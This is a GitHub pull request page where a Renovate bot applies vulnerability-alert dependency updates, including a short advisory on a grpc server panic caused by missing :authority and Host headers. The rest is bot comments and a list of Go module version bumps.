This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Server panic via missing authority or Host headers in google.golang.org/grpc

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

In google.golang.org/grpc, servers configured with xDS routing can panic when processing requests that lack both :authority and Host headers. The HTTP/2 transport layer accepted requests missing these headers, and the xDS server routing interceptor attempted to index the empty authority slice, causing an unhandled panic and terminating the server.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).


Release Notes

cert-manager/cert-manager (gi

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@openshift-ci
openshift-ci Bot requested review from dprince and jlarriba October 6, 2026 10:46
@openshift-ci

openshift-ci Bot commented Oct 6, 2026

Copy link
Copy Markdown
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: ospk8s-renovate[bot]
Once this PR has been reviewed and has the lgtm label, please assign elfiesmelfie for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@coderabbitai

coderabbitai Bot commented Oct 6, 2026 •

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

Run configuration
  • Source mode: Auto
  • Repository: Unavailable
  • Branch: Unavailable
  • File: No configuration file from this repository applied
  • Commit: Unavailable
  • Layers: Central YAML (base), Organization UI (inherited)
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 6a66f37a-e91f-4f60-9b50-0032c4fec4fc

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • Trigger review
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

CodeRabbit Verify

  • Run CodeRabbit Verify to test the changes in this pull request.

@openshift-ci

openshift-ci Bot commented Oct 6, 2026

Copy link
Copy Markdown
Contributor

Hi @ospk8s-renovate[bot]. Thanks for your PR.

I'm waiting for a openstack-k8s-operators member to verify that this patch is reasonable to test. If it is, they should reply with /ok-to-test on its own line. Until that is done, I will not automatically test new commits in this PR, but the usual testing commands by org members will still work.

Regular contributors should join the org to skip this step.

Once the patch is verified, the new status will be reflected by the ok-to-test label.

I understand the commands that are listed here.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository.

@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 6 times, most recently from b3c7336 to f498169 Compare October 14, 2026 16:10
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 6 times, most recently from 0c485de to 43e72bd Compare October 23, 2026 22:56
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 3 times, most recently from 185487f to 067c693 Compare October 28, 2026 01:24
@ospk8s-renovate

ospk8s-renovate Bot commented Oct 28, 2026 •

Copy link
Copy Markdown
Contributor Author

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 22 additional dependencies were updated

Details:

Package Change
k8s.io/api v0.33.13 -> v0.34.1
k8s.io/apimachinery v0.33.13 -> v0.34.1
k8s.io/client-go v0.33.13 -> v0.34.1
sigs.k8s.io/controller-runtime v0.21.0 -> v0.22.3
github.com/emicklei/go-restful/v3 v3.12.2 -> v3.13.0
github.com/go-openapi/jsonpointer v0.21.1 -> v0.22.1
github.com/go-openapi/jsonreference v0.21.0 -> v0.21.2
github.com/prometheus/client_golang v1.22.0 -> v1.23.2
github.com/prometheus/common v0.65.0 -> v0.66.1
github.com/prometheus/procfs v0.16.1 -> v0.17.0
github.com/spf13/cobra v1.9.1 -> v1.10.1
github.com/spf13/pflag v1.0.9 -> v1.0.10
golang.org/x/exp v0.0.0-20241217172543-b2144cdd0a67 -> v0.0.0-20250718183923-645b1fa84792
golang.org/x/time v0.12.0 -> v0.13.0
gopkg.in/evanphx/json-patch.v4 v4.12.0 -> v4.13.0
k8s.io/apiextensions-apiserver v0.33.13 -> v0.34.1
k8s.io/apiserver v0.33.13 -> v0.34.1
k8s.io/component-base v0.33.13 -> v0.34.1
k8s.io/kube-openapi v0.0.0-20250902184714-7fc278399c7f -> v0.0.0-20250910181357-589584f1c912
sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 -> v0.33.0
sigs.k8s.io/gateway-api v1.2.1 -> v1.4.0
sigs.k8s.io/json v0.0.0-20241014173422-cfa47c3a1cc8 -> v0.0.0-20250730193827-2d320260d730

@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch 2 times, most recently from 6b63913 to a822e2f Compare November 2, 2026 09:26
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/18-stable-osv-vulnerability-alerts branch from a822e2f to 52ddaaf Compare November 3, 2026 09:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants